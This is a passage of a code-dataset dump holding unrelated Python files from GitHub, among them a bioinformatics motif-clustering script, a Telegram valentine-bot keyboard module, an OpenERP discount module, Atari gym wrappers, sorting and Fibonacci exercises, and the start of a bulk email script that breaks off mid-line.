{clusters_to_combine_path} ' \\\n f'-aln_cutoff {aln_cutoff} -pcc_cutoff {pcc_cutoff}'\n logger.info(f'{datetime.datetime.now()}: starting UnitePSSMs. Executed command is:\\n{cmd}')\n subprocess.run(cmd, shell=True)\n\n # make sure that there are results and the file is not empty\n verify_file_is_not_empty(clusters_to_combine_path)\n\n logger.info(f'Result file is at {clusters_to_combine_path}')\n clusters_to_combine = []\n with open(clusters_to_combine_path) as f:\n for line in f:\n cluster_names = line.rstrip().split(',')\n # remove consensus sequence so we have the exact cluster (file) name\n cluster_without_prefix = [cluster[cluster.index('_')+1:] for cluster in cluster_names]\n clusters_to_combine.append(cluster_without_prefix)\n\n logger.info(f'Sorting clusters by rank...')\n # sort the sublist such that the first one will contain the highest copy number, etc...\n clusters_to_combine.sort(key=lambda clusters: sum(get_cluster_size_from_name(cluster) for cluster in clusters), reverse=True)\n sorted_clusters_to_combine_path = clusters_to_combine_path.replace('cluster_to_combine', 'sorted_cluster_to_combine')\n with open(sorted_clusters_to_combine_path, 'w') as f:\n for cluster_names in clusters_to_combine:\n f.write(','.join(cluster_names)+'\\n')\n\n unaligned_sequences_path = os.path.join(output_path, 'unaligned_sequences')\n os.makedirs(unaligned_sequences_path, exist_ok=True)\n\n for cluster_rank in range(len(clusters_to_combine)):\n if cluster_rank % 25 == 0:\n logger.info(f'Merging sequences of the cluster ranked {cluster_rank}')\n\n clusters_sequences, cluster_file_name = get_clusters_sequences(motif_inference_output_path, biological_condition,\n sample_names, clusters_to_combine[cluster_rank],\n cluster_rank, max_number_of_members_per_cluster)\n with open(os.path.join(unaligned_sequences_path, cluster_file_name), 'w') as f:\n f.write(clusters_sequences)\n\n with open(done_path, 'w') as f:\n f.write(' '.join(argv) + '\\n')\n\n\nif __name__ == '__main__':\n\n print(f'Starting {sys.argv[0]}. Executed command is:\\n{\" \".join(sys.argv)}')\n\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument('motif_inference_output_path',\n help='A path to a folder in which each subfolder contains a different sample analysis')\n parser.add_argument('meme_file_path', help='A path to a meme file')\n parser.add_argument('biological_condition', help='A biological condition that its motifs will be unified')\n parser.add_argument('sample_names', help='Sample names to apply over the \"motif unification\". More than one '\n 'sample name should be separated by commas. No spaces!'\n 'For example: 17b_01,17b_03,17b_05')\n parser.add_argument('max_number_of_members_per_cluster', type=int,\n help='How many members (at most) should be taken to each cluster')\n parser.add_argument('output_path', help='A path in which a new subfolder with the united motifs will be written to')\n parser.add_argument('done_file_path', help='A path to a file that signals that the script finished running successfully.')\n parser.add_argument('--aln_cutoff', default='20', help='TODO') # TODO: what do this param do?\n parser.add_argument('--pcc_cutoff', default='0.6', help='TODO') # TODO: what do this param do?\n parser.add_argument('-v', '--verbose', action='store_true', help='Increase output verbosity')\n args = parser.parse_args()\n\n if args.verbose:\n logging.basicConfig(level=logging.DEBUG)\n else:\n logging.basicConfig(level=logging.INFO)\n logger = logging.getLogger('main')\n\n unite_clusters(args.motif_inference_output_path, args.meme_file_path, args.biological_condition,\n args.sample_names.split(','), args.max_number_of_members_per_cluster, args.output_path, args.done_file_path,\n args.aln_cutoff, args.pcc_cutoff, argv=sys.argv)\n","repo_name":"orenavram/IgomeProfiling","sub_path":"motif_inference/unite_motifs_of_biological_condition.py","file_name":"unite_motifs_of_biological_condition.py","file_ext":"py","file_size_in_byte":7893,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"42854389582","text":"from aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton\nfrom aiogram import types\nfrom aiogram.utils.callback_data import CallbackData\nimport models\n\n\nmenu_cd = CallbackData(\"show_menu\", \"level\", \"id\", \"extra_data\")\n\ndef make_callback_data(level, id=0, extra_data=0):\n return menu_cd.new(level=level, id=id, extra_data=extra_data)\n\nasync def reject_keyboard(letter):\n keyboard = InlineKeyboardMarkup(row_width=1)\n keyboard.row(InlineKeyboardButton(text='Не отклонять', callback_data=make_callback_data(level=7, id=letter.id)))\n\n return keyboard\n\nasync def add_contact_keyboard(letter):\n keyboard = InlineKeyboardMarkup(row_width=1)\n keyboard.row(InlineKeyboardButton(text='Назад', callback_data=make_callback_data(level=7, id=letter.id)))\n\n return keyboard\n\nasync def is_correct_keyboard(letter, letter_preview_id):\n keyboard = InlineKeyboardMarkup(row_width=1)\n keyboard.row(types.InlineKeyboardButton(text='Изменить получателя', callback_data=make_callback_data(level=1, id=letter.id)))\n keyboard.row(types.InlineKeyboardButton(text='Изменить валентинку', callback_data=make_callback_data(level=2, id=letter.id)))\n\n if letter.type == \"TEXT\":\n if '>⁠' in letter.text:\n keyboard.row(InlineKeyboardButton(text=\"Убрать фото\", callback_data=make_callback_data(level=10, id=letter.id, extra_data=letter_preview_id)))\n else:\n keyboard.row(InlineKeyboardButton(text=\"Добавить фото\", callback_data=make_callback_data(level=9, id=letter.id, extra_data=letter_preview_id)))\n if letter.link_preview == True and \"a href=\" in letter.text:\n\n keyboard.row(InlineKeyboardButton(text=\"Выключить предпросмотр\", callback_data=make_callback_data(level=11, id=letter.id, extra_data=letter_preview_id)))\n elif letter.link_preview == False and \"a href=\" in letter.text:\n\n keyboard.row(InlineKeyboardButton(text=\"Включить предпросмотр\", callback_data=make_callback_data(level=12, id=letter.id, extra_data=letter_preview_id)))\n keyboard.row(types.InlineKeyboardButton(text='Всё верно, отправить на проверку', callback_data=make_callback_data(level=3, id=letter.id)))\n\n\n return keyboard\n\nasync def check_markup(letter: models.Letter, is_userbot_can_write_to_user_by_id=False):\n markup = InlineKeyboardMarkup()\n if letter.recipient_id == None and letter.recipient_username == None and letter.recipient_phone_number:\n markup.row(InlineKeyboardButton(text=\"Добавить данные получателя\", callback_data=make_callback_data(level=4, id=letter.id)))\n \n\n else:\n if letter.recipient_username or is_userbot_can_write_to_user_by_id:\n markup.row(InlineKeyboardButton(text=\"Принять\", callback_data=make_callback_data(level=8, id=letter.id)))\n else:\n markup.row(InlineKeyboardButton(text=\"Я написал первое сообщение\", callback_data=make_callback_data(level=5, id=letter.id)))\n markup.row(InlineKeyboardButton(text=\"Отклонить\", callback_data=make_callback_data(level=6, id=letter.id)))\n return markup\n\nasync def delivery_confirm_markup(letter: models.Letter):\n markup = InlineKeyboardMarkup()\n\n\n markup.row(InlineKeyboardButton(text=\"Отправить валентинку\", callback_data=make_callback_data(level=8, id=letter.id, extra_data=1)))\n\n\n markup.row(InlineKeyboardButton(text=\"Назад\", callback_data=make_callback_data(level=7, id=letter.id)))\n return markup","repo_name":"Stegogo/valentine-bot","sub_path":"keyboards.py","file_name":"keyboards.py","file_ext":"py","file_size_in_byte":3664,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"25886579571","text":"#\n# @lc app=leetcode.cn id=697 lang=python3\n#\n# [697] 数组的度\n#\n\n\nclass Solution:\n def findShortestSubArray(self, nums) -> int:\n dd = {}\n maxdu = 0\n maxlen = 0\n for i, num in enumerate(nums):\n if num not in dd:\n dd[num] = [i, i, 1]\n else:\n dd[num][1] = i\n dd[num][2] += 1\n if dd[num][2] > maxdu:\n maxdu = dd[num][2]\n maxlen = dd[num][1] - dd[num][0]\n if dd[num][2] == maxdu:\n maxlen = min(maxlen, dd[num][1] - dd[num][0])\n return maxlen+1\n","repo_name":"Jassy930/leetcode_main","sub_path":"697.数组的度.py","file_name":"697.数组的度.py","file_ext":"py","file_size_in_byte":636,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15105086562","text":"'''\nfib_salvos = {0: 0, 1: 1}\ndef fib(n):\n if n in fib_salvos:\n return fib_salvos[n]\n else:\n novo_valor = fib(n-1) + fib(n-2)\n fib_salvos[n] = novo_valor\n return novo_valor\n\nprint(fib(int(input())))\n\n'''\n\nfib_salvos = [0, 1]\ndef fibonacci(n):\n if n == 0:\n return []\n elif n <=2:\n return fib_salvos[:n]\n else:\n for i in range(n-2):\n fib_novo = fib_salvos[-1] + fib_salvos[-2]\n fib_salvos.append(fib_novo)\n return fib_salvos \nprint(fibonacci(7))\n\n\n# n = int(input())\n# def fibonacci(n):\n# fib_n = 0\n# fib_n_ant = 0\n# fib_n_antiant = 1\n# while n > 0:\n# fib_n = fib_n_ant + fib_n_antiant\n# fib_n_antiant = fib_n_ant\n# fib_n_ant = fib_n\n# n -= 1\n# print(fib_n)\n\n# fibonacci(n)\n \n","repo_name":"LaKHamote/Lixo","sub_path":"APC/Fibonacci.py","file_name":"Fibonacci.py","file_ext":"py","file_size_in_byte":827,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39755670811","text":"# -*- coding: utf-8 -*-\n\"\"\"Modificacions del model giscedata_facturacio_factura per SOMENERGIA.\n\"\"\"\n\nfrom osv import osv, fields\nfrom tools.translate import _\nimport time\n\nSTATES_GESTIO_ACUMULACIO = [\n ('estandard', _(\"Acumular segons saldo d'excedents\")),\n ('percentatge', _(\"Acumular saldo d'excedents (percentatge)\")),\n]\n\n\nclass GiscedataBateriaVirtualOrigen(osv.osv):\n _name = \"giscedata.bateria.virtual.origen\"\n _inherit = 'giscedata.bateria.virtual.origen'\n\n def get_bateria_virtual_origen_descomptes(self, cursor, uid, ids, data_final, context=None):\n # [descompte_date, price, 'giscedata.facturacio.factura, factura.id']\n # [05-05-2023, 25.3, 'giscedata.facturacio.factura, 3642']\n if len(ids) > 1:\n raise osv.except_osv(\"Error\", _(u\"No es pot clacular descomptes per més de un origen alhora.\"))\n descomptes_totals = super(GiscedataBateriaVirtualOrigen, self).get_bateria_virtual_origen_descomptes(cursor, uid, ids, data_final, context=context)\n\n descomptes = []\n for id in ids:\n gestio_acumulacio = self.read(cursor, uid, id, ['gestio_acumulacio'], context=context)['gestio_acumulacio']\n if gestio_acumulacio == 'estandard':\n return descomptes_totals\n # per percentatge\n else:\n # aplicar el percentatge corresponent segons data, sobre el descompte total\n for descompte_total in descomptes_totals:\n descompte_percentatge = self.get_descompte_amb_percentatge_acumulacio(cursor, uid, id, descompte_total)\n descomptes.append(descompte_percentatge)\n return descomptes\n\n def get_descompte_amb_percentatge_acumulacio(self, cursor, uid, id, descompte_total):\n # [descompte_date, price, 'giscedata.facturacio.factura, factura.id']\n # [05-05-2023, 25.3, 'giscedata.facturacio.factura, 3642']\n percentatge_acum_obj = self.pool.get('giscedata.bateria.virtual.percentatges.acumulacio')\n bateria_virtual_obj = self.pool.get('giscedata.bateria.virtual')\n\n descompte_data = descompte_total[0]\n descompte_preu = descompte_total[1]\n descompte_ref = descompte_total[2]\n\n # bateria_id = self.read(cursor, uid, id, ['bateria_id'])['bateria_id']\n # info_box = bateria_virtual_obj.read(cursor, uid, bateria_id, ['info_box'])['info_box']\n\n percetatge_acum_ids = self.get_percentatge_acumulacio_from_date(cursor, uid, id, descompte_data)\n if not percetatge_acum_ids:\n raise Exception (\"No hi ha percentatges d'acumulacio actius\")\n elif len(percetatge_acum_ids) > 1:\n raise Exception (\"Hi ha percentatges d'acumulacio que comprenen dates en comú\")\n else:\n percentatge = percentatge_acum_obj.read(cursor, uid, percetatge_acum_ids[0], ['percentatge'])['percentatge']\n amount = descompte_preu * (percentatge/100.0)\n return (descompte_data, amount, descompte_ref)\n\n def get_percentatge_acumulacio_from_date(self, cursor, uid, id, descompte_date):\n percentatge_acum_obj = self.pool.get('giscedata.bateria.virtual.percentatges.acumulacio')\n percetatge_acum_ids = percentatge_acum_obj.search(cursor, uid, [\n ('origen_id', '=', id),\n ('data_inici', '<=', descompte_date),\n '|',\n ('data_fi', '>=', descompte_date),\n ('data_fi', '=', False),\n ])\n\n return percetatge_acum_ids\n\n def create(self, cursor, uid, vals, context=None):\n percentatge_acum_obj = self.pool.get('giscedata.bateria.virtual.percentatges.acumulacio')\n bat_polissa_obj = self.pool.get('giscedata.bateria.virtual.polissa')\n conf_obj = self.pool.get('res.config')\n\n origen_id = super(GiscedataBateriaVirtualOrigen, self).create(cursor, uid, vals, context=context)\n orig_br = self.browse(cursor, uid, origen_id, context={'prefetch': False})\n\n percentatge_defecte = int(conf_obj.get(cursor, uid, 'percentatge_acumulacio', '100'))\n polissa_id = orig_br.origen_ref.split(',')[1]\n bat_polissa_id = bat_polissa_obj.search(cursor, uid, [('polissa_id.id','=',polissa_id)], context=context)\n if bat_polissa_id and len(bat_polissa_id) == 1:\n bat_pol_br = bat_polissa_obj.browse(cursor, uid, bat_polissa_id[0], context={'prefetch': False})\n data_inici = max(bat_pol_br.data_inici, bat_pol_br.polissa_id.data_alta)\n if not orig_br.percentatges_acumulacio:\n vals = {\n 'percentatge': percentatge_defecte,\n 'data_inici': data_inici,\n 'data_fi': None,\n 'origen_id': origen_id,\n }\n percentatge_acum_obj.create(cursor, uid, vals, context=context)\n\n _columns = {\n 'data_inici_descomptes': fields.date('Data inici generació descomptes', required=True),\n 'gestio_acumulacio': fields.selection(STATES_GESTIO_ACUMULACIO, \"Gestió de l'acumulació\"),\n 'percentatges_acumulacio': fields.one2many('giscedata.bateria.virtual.percentatges.acumulacio', 'origen_id', 'Percentatges acumulacio'),\n }\n\n _defaults = {\n 'data_inici_descomptes': lambda *a: time.strftime('%Y-%m-%d'),\n 'gestio_acumulacio': lambda *a: 'estandard',\n }\n\n\nGiscedataBateriaVirtualOrigen()\n","repo_name":"Som-Energia/openerp_som_addons","sub_path":"som_facturacio_flux_solar/giscedata_bateria_virtual_origen.py","file_name":"giscedata_bateria_virtual_origen.py","file_ext":"py","file_size_in_byte":5384,"program_lang":"python","lang":"ca","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"11092375810","text":"\"\"\"\nFile: coin_flip_runs.py\nName:洪筠筑\n-----------------------\nThis program should simulate coin flip(s)\nwith the number of runs input by users.\nA 'run' is defined as consecutive results\non either 'H' or 'T'. For example, 'HHHHHTHTT'\nis regarded as a 2-run result.\nYour program should stop immediately after your\ncoin flip results reach the number of runs!\n\"\"\"\n\nimport random\n\n\ndef main():\n\t\"\"\"\n\tThis program is used to calculate the number of the continuous H or T\n\t\"\"\"\n\tprint('Let\\'s flip the coin!')\n\tnumber_of_runs = int(input('Number of runs:'))\n\trun = 0\n\tans = ''\n\ta_roll = random.randrange(0, 2)\n\tif a_roll == 0:\n\t\t# 0 is head\n\t\tans += 'H'\n\telse:\n\t\t# 1 is tail\n\t\tans += 'L'\n\tis_in_a_row = False\n\twhile True:\n\t\tif run == number_of_runs:\n\t\t\tprint(ans)\n\t\t\tbreak\n\t\tb_roll = random.randrange(0, 2)\n\t\tif a_roll == b_roll:\n\t\t\tif not is_in_a_row:\n\t\t\t\trun += 1\n\t\t\t\tis_in_a_row = True\n\t\telse:\n\t\t\tis_in_a_row = False\n\t\tif b_roll == 0:\n\t\t\t# 0 is head\n\t\t\tans += 'H'\n\t\telse:\n\t\t\t# 1 is tail\n\t\t\tans += 'L'\n\t\ta_roll = b_roll\n\n\n# def random_toll():\n\n\n# ---- DO NOT EDIT CODE BELOW THIS LINE ---- #\n\nif __name__ == \"__main__\":\n\tmain()\n","repo_name":"yunjhu/YunjhuStanCodeProjects","sub_path":"coin_flip_runs.py","file_name":"coin_flip_runs.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"3078674992","text":"maiores = []\r\n\r\nfor i in range(10):\r\n num = int(input(f\"Digite o {i+1}º número: \"))\r\n maiores.append(num)\r\n \r\nprint('Números maiores que 10 são: ') \r\nfor num in maiores:\r\n if num > 10:\r\n print(num) ","repo_name":"DanielTeixeira23/PEED-LISTA1","sub_path":"q14.py","file_name":"q14.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"11967352114","text":"import random\r\nimport time\r\n\r\ndef splitList(firstList):\r\n\t'''\r\n\t\tFunction to split list in half\r\n\t'''\r\n\tmidPoint = len(firstList) // 2 #3\r\n\treturn firstList[:midPoint], firstList[midPoint:] #1\r\n\r\ndef mergeSortedList(listL, listR, order):\r\n\t'''\r\n\t\tFunction to take two sorted lists, and merge them in order\r\n\t'''\r\n\tindexListL = indexListR = 0 #2\r\n\tmergedList = [] #1\r\n\ttargetLength = len(listL) + len(listR) #4\r\n\r\n\twhile len(mergedList) < targetLength: #2n\r\n\t\tif order == 0: #Ascending #n\r\n\t\t\tif listL[indexListL] <= listR[indexListR]: #2n\r\n\t\t\t\tmergedList.append(listL[indexListL]) #n\r\n\t\t\t\tindexListL += 1 #2n\r\n\r\n\t\t\telse:\r\n\t\t\t\tmergedList.append(listR[indexListR]) \r\n\t\t\t\tindexListR += 1 \r\n\t\telse: #Descending\r\n\t\t\tif listL[indexListL] >= listR[indexListR]: \r\n\t\t\t\tmergedList.append(listL[indexListL]) \r\n\t\t\t\tindexListL += 1 \r\n\r\n\t\t\telse:\r\n\t\t\t\tmergedList.append(listR[indexListR]) \r\n\t\t\t\tindexListR += 1 \r\n\r\n\t\tif indexListR == len(listR): \r\n\t\t\tmergedList += listL[indexListL:] #1\r\n\t\t\tbreak \r\n\t\telif indexListL == len(listL): \r\n\t\t\tmergedList += listR[indexListR:] \r\n\t\t\tbreak \r\n\treturn mergedList #1 \r\n\r\ndef oneElement(inputList):\r\n\t'''\r\n\t\tFunction to split list down to a single element, then sort and merge \r\n\t'''\r\n\tif len(inputList) <= 1: #3\r\n\t\treturn inputList #1\r\n\telse:\r\n\t\tlistL, listR = splitList(inputList) #3\r\n\t\treturn mergeSortedList(oneElement(listL), oneElement(listR), 0) #4 \r\n\r\ndef MergeSort_Test_Arithmetic_Step(m, n):\r\n\t'''\r\n\t\tFunction to generate a random array using parameters m and n, keeping m constant\r\n\t\tand calculating n vs runtime\r\n\t'''\r\n\tarr = []\r\n\tfor i in range(n):\r\n\t\tarr.append(random.randint(0, m))\r\n\tstartTime = time.perf_counter()\r\n\toneElement(arr)\r\n\ttimeElapsed = time.perf_counter() - startTime\r\n\r\n\treturn timeElapsed\r\n\r\ndef main():\r\n\tprint(MergeSort_Test_Arithmetic_Step(10**7, 10**6)) #2\r\n\r\nif __name__ == \"__main__\": #1\r\n\tmain() #1\r\n \r\n","repo_name":"sanjana1599/Queue-Algorithm","sub_path":"CountingMS.py","file_name":"CountingMS.py","file_ext":"py","file_size_in_byte":1864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"31158447041","text":"#from curses import window\nimport cv2\nimport os\nimport numpy as np\nfrom datetime import datetime\nimport glob\nimport sys\nfrom pathlib import Path\n#from (root directory) import (py file)\nfrom tqdm import tqdm\n#from utils import load_pth_file\n\n#指定した秒数のフレームを画像として保存\ndef save_frames_range_sec(\n video_path, \n start_sec, stop_sec, step_sec, \n dir_path, \n basename, ext=\"jpg\"\n):\n cap = cv2.VideoCapture(video_path)\n\n if not cap.isOpened():\n return\n\n os.makedirs(dir_path, exist_ok=True)\n base_path = os.path.join(dir_path, basename)\n\n digit = len(str(int(cap.get(cv2.CAP_PROP_FRAME_COUNT))))\n\n fps = cap.get(cv2.CAP_PROP_FPS)\n fps_inv = 1 / fps\n\n sec = start_sec\n\n n_steps = (stop_sec - start_sec) // step_sec\n pbar = tqdm(range(n_steps))\n\n print(video_path)\n for _ in pbar:\n n = round(fps * sec)\n cap.set(cv2.CAP_PROP_POS_FRAMES, n)\n ret, frame = cap.read()\n if ret:\n cap_img_resize = cv2.resize(\n frame, \n dsize=(1920, 1080), \n fx=0, fy=0, \n interpolation=cv2.INTER_AREA\n )\n cv2.imwrite(\n \"{}_{}_{:.2f}.{}\".format(\n base_path, \n str(n).zfill(digit), \n n * fps_inv, \n ext\n ),\n cap_img_resize,\n )\n sec += step_sec \n\n print(video_path)\n\n # while fps < 30:\n # while sec < stop_sec:\n # n = round(fps * sec)\n # cap.set(cv2.CAP_PROP_POS_FRAMES, n)\n # ret, frame = cap.read()\n # if ret:\n # cap_img_resize = cv2.resize(\n # frame, \n # dsize=(1920, 1080), \n # fx=0, fy=0, \n # interpolation=cv2.INTER_AREA\n # )\n # cv2.imwrite(\n # '{}_{}_{:.2f}.{}'.format(\n # base_path, \n # str(n).zfill(digit), \n # n * fps_inv, ext\n # ),\n # cap_img_resize\n # )\n # sec += step_sec\n\ndef main():\n # root = Path(r\"E:/senkouka/drone_video\")\n dir_path = \"E:/senkouka/drone_imgs_30fps_3\"\n video1 = \"E:/senkouka/drone_video/drone_flight_0967.MP4\"\n video2 = \"E:/senkouka/drone_video/DJI_0048.MP4\"\n video3 = \"E:/senkouka/drone_video/DJI_0062.MP4\"\n basename = \"drone_img\"\n step = 1\n\n # save_frames_range_sec(\n # video1,\n # 38,\n # 96,\n # step,\n # dir_path,\n # basename,\n # )\n\n # save_frames_range_sec(\n # video1,\n # 102,\n # 103,\n # step,\n # dir_path,\n # basename,\n # )\n\n save_frames_range_sec(\n video2,\n 0,\n 232,\n step,\n dir_path,\n basename,\n )\n\n save_frames_range_sec(\n video3,\n 0,\n 125,\n step,\n dir_path,\n basename,\n )\n\n\n# 【必須】メインの関数を実行するために\nif __name__ == \"__main__\":\n main()\n","repo_name":"md6779/my-pspnet-program","sub_path":"utils/mp4_to_jpg.py","file_name":"mp4_to_jpg.py","file_ext":"py","file_size_in_byte":3299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27958627568","text":"import cv2\nimport gym\nimport numpy as np\nfrom gym.spaces.box import Box\n\n\n# Taken from https://github.com/openai/universe-starter-agent\ndef create_atari_env(args):\n # This is to allow short-cut create such as\n # create_atari_env('PongDeterministic-v4')\n if isinstance(args, str) or args is None:\n from .options import parser\n args_ = [] if args is None else ['--env-name', args]\n args = parser.parse_args(args_)\n\n env = gym.make(args.env_name).env\n env = EpisodicLifeEnv(env)\n if 'FIRE' in env.unwrapped.get_action_meanings():\n env = FireResetEnv(env)\n env._max_episode_steps = args.max_episode_length\n env = AtariRescale42x42(env, not args.colour_frame)\n env = NormalizedEnv(env)\n env = RepeatActionFrame(env, args.repeat_action_steps)\n return env\n\n\ndef _process_frame42(frame, mono_colour=True):\n \"\"\"\n :param frame:\n :param mono_colour: if process image as mono colour\n :return:\n \"\"\"\n frame = frame[34:34 + 160, :160]\n # Resize by half, then down to 42x42 (essentially mipmapping). If\n # we resize directly we lose pixels that, when mapped to 42x42,\n # aren't close enough to the pixel boundary.\n frame = cv2.resize(frame, (80, 80))\n frame = cv2.resize(frame, (42, 42))\n if mono_colour:\n frame = frame.mean(2, keepdims=True)\n frame = frame.astype(np.float32)\n frame *= (1.0 / 255.0)\n frame = np.moveaxis(frame, -1, 0)\n return frame\n\n\nclass AtariRescale42x42(gym.ObservationWrapper):\n def __init__(self, env, mono=True):\n super(AtariRescale42x42, self).__init__(env)\n self.mono_ = mono\n self.observation_space = Box(0.0, 1.0, [1, 42, 42], dtype=np.uint8)\n\n # noinspection PyMethodMayBeStatic\n def observation(self, observation):\n return _process_frame42(observation, self.mono_)\n\n\nclass NormalizedEnv(gym.ObservationWrapper):\n def __init__(self, env=None):\n super(NormalizedEnv, self).__init__(env)\n self.state_mean = 0\n self.state_std = 0\n self.alpha = 0.9999\n self.num_steps = 0\n\n def observation(self, observation):\n self.num_steps += 1\n self.state_mean = self.state_mean * self.alpha + \\\n observation.mean() * (1 - self.alpha)\n self.state_std = self.state_std * self.alpha + \\\n observation.std() * (1 - self.alpha)\n\n unbiased_mean = self.state_mean / (1 - pow(self.alpha, self.num_steps))\n unbiased_std = self.state_std / (1 - pow(self.alpha, self.num_steps))\n\n return (observation - unbiased_mean) / (unbiased_std + 1e-8)\n\n\nclass EpisodicLifeEnv(gym.Wrapper):\n def __init__(self, env):\n \"\"\"Make end-of-life == end-of-episode, but only reset on true game over.\n Done by DeepMind for the DQN and co. since it helps value estimation.\n \"\"\"\n gym.Wrapper.__init__(self, env)\n self.lives = 0\n self.was_real_done = True\n\n def step(self, action):\n obs, reward, done, info = self.env.step(action)\n self.was_real_done = done\n # check current lives, make loss of life terminal,\n # then update lives to handle bonus lives\n lives = self.env.unwrapped.ale.lives()\n if 0 < lives < self.lives:\n # for Qbert sometimes we stay in lives == 0 condtion for a few\n # frames so its important to keep lives > 0, so that we only reset\n # once the environment advertises done.\n done = True\n self.lives = lives\n return obs, reward, done, self.was_real_done\n\n def reset(self, **kwargs):\n \"\"\"Reset only when lives are exhausted.\n This way all states are still reachable even though lives are episodic,\n and the learner need not know about any of this behind-the-scenes.\n \"\"\"\n if self.was_real_done:\n obs = self.env.reset(**kwargs)\n else:\n # no-op step to advance from terminal/lost life state\n obs, _, _, _ = self.env.step(0)\n self.lives = self.env.unwrapped.ale.lives()\n return obs\n\n\nclass FireResetEnv(gym.Wrapper):\n def __init__(self, env):\n \"\"\"Take action on reset for environments that are fixed until firing.\"\"\"\n gym.Wrapper.__init__(self, env)\n assert env.unwrapped.get_action_meanings()[1] == 'FIRE'\n assert len(env.unwrapped.get_action_meanings()) >= 3\n\n def reset(self, **kwargs):\n self.env.reset(**kwargs)\n obs, _, done, _ = self.env.step(1)\n if done:\n self.env.reset(**kwargs)\n obs, _, done, _ = self.env.step(2)\n if done:\n self.env.reset(**kwargs)\n return obs\n\n def step(self, ac):\n return self.env.step(ac)\n\n\nclass RepeatActionFrame(gym.Wrapper):\n def __init__(self, env, num_repeat):\n \"\"\"Take action on reset for environments that are fixed until firing.\"\"\"\n gym.Wrapper.__init__(self, env)\n self.num_repeat = num_repeat\n\n def reset(self, **kwargs):\n obs = self.env.reset(**kwargs)\n obs = np.concatenate([obs]*self.num_repeat, axis=0)\n return obs\n\n def step(self, ac):\n ss = []\n rew = 0.\n done = False\n obs, info = None, None\n for _ in range(self.num_repeat):\n if done:\n ss.append(obs)\n continue\n obs, reward, done, info = self.env.step(ac)\n ss.append(obs)\n rew += reward\n obs = np.concatenate(ss, axis=0)\n return obs, rew, done, info\n","repo_name":"junjy007/ada2018stu","sub_path":"W7/atari_a3c/atari.py","file_name":"atari.py","file_ext":"py","file_size_in_byte":5506,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"} +{"seq_id":"35711793812","text":"import csv\nimport random\n\nfilename = 'NewFormat.csv'\nfile = open(filename, 'r')\ndata = csv.DictReader(file)\n\nTeams = []\nRivals = []\nWeekList = []\n\n#tupleTest = [{\"ham\", \"salami\"}, {\"cheese\", \"provo\"}]\n#print(tupleTest[0].__contains__(\"ham\"))\n\ndef scheduleMatchups(Teams, League):\n matchups = []\n FreeTeams = Teams[0:len(Teams)]\n for team in League:\n if team[0] in FreeTeams:\n print(\"Opponent Search for \" + str(team))\n print(FreeTeams)\n print(League)\n opponent = random.choice(team[2])\n while opponent not in FreeTeams:\n opponent = random.choice(team[2])\n matchups.append((team[0], opponent))\n FreeTeams.remove(team[0])\n FreeTeams.remove(opponent)\n team[2].remove(opponent)\n for opp in League:\n if opp[0] == opponent:\n opp[2].remove(team[0])\n return matchups\n\ndef fillSchedule(Teams, League):\n for i in range(0,len(Teams)):\n League.append((Teams[i], Rivals[i], Teams[0:len(Teams)]))\n League[i][2].remove(Rivals[i])\n League[i][2].remove(Teams[i])\n return\n\ndef refillSchedule(Teams, League):\n for i in range(0, len(Teams)):\n League[i][2].append(Teams[0:len(Teams)])\n if League[i][2].__contains__(Rivals[i]):\n League[i][2].remove(Rivals[i])\n if League[i][2].__contains__(Teams[i]):\n League[i][2].remove(Teams[i])\n\nfor row in data:\n Teams.append(row['Teams'])\n Rivals.append(row['Rival'])\n WeekList.append(row['Weeks'])\n\nWeeksLeft = int(WeekList[0])\n#print(str(Rivals))\n#print(\"Teams: \" + str(Teams))\n#print(\"Weeks Remaining: \" + WeeksLeft)\n\n#Now all of the teams and their rivals are stored\nLeague = []\nfillSchedule(Teams, League)\n#print(League[0])\n\n#Now there is a list with each team, its rival, and each of the teams it must have on their schedule.\nWeeks = []\n\nfor q in range(1, WeeksLeft):\n if len(League[0][2]) == 0:\n refillSchedule(Teams, League)\n matchupsScheduled = scheduleMatchups(Teams, League)\n #Weeks.append(\"Week \" + str(q) + str(matchupsScheduled))\n print(\"WEEK \" + str(q) + str(matchupsScheduled))\n\nprint(Weeks)\n#Schedule Rivalry Week\n\n\n\n\n\n# \n# for each week\n# SCHEDULE ALL MATCHUPS AND RETURN LIST OF TUPLES OF TEAMS\n# add matchups to the weeks list\n# \n# \n# SCHEDULE EACH MATCHUP\n# have list of free teams w/o matchup yet this week\n# \n# \n# \n# \n# \n# \n# \n\n#print(Weeks)","repo_name":"Haas-A/FFBScheduler","sub_path":"Scheduler.py","file_name":"Scheduler.py","file_ext":"py","file_size_in_byte":2466,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"13732839547","text":"# Automated Email Delivery System in Python\n# By : Shekhar Saxena\n#-------------------------------------------------\n\n\nimport smtplib #For connecting to Email Servers\nfrom email.message import EmailMessage #Email Module in Python\nfrom string import Template #To Customize the HTML file as our need\nfrom pathlib import Path #To connect html with python file\nimport pandas as pd #To extract data from Excel File\n\ndf = pd.read_excel('data.xlsx',sheet_name=0) \n#sheet_name is index of sheet because excel contails multiple sheets.\n#start with 1 to avoid zeroth row which contains Column Names.\nname = list(df['Names']) #Replace with column names in excel file\nmarks = list(df['Marks'])\nmails = list(df['Emails'])\nsec = list(df['Sec'])\n\nfor i in range(0,4): #Range should be 1 to your last row\n\n\tmark = Template(Path('index.html').read_text())\n\temail = EmailMessage()\n\temail['from'] = 'Shekhar Saxena' #Name of Sender\n\temail['to'] = mails[i] 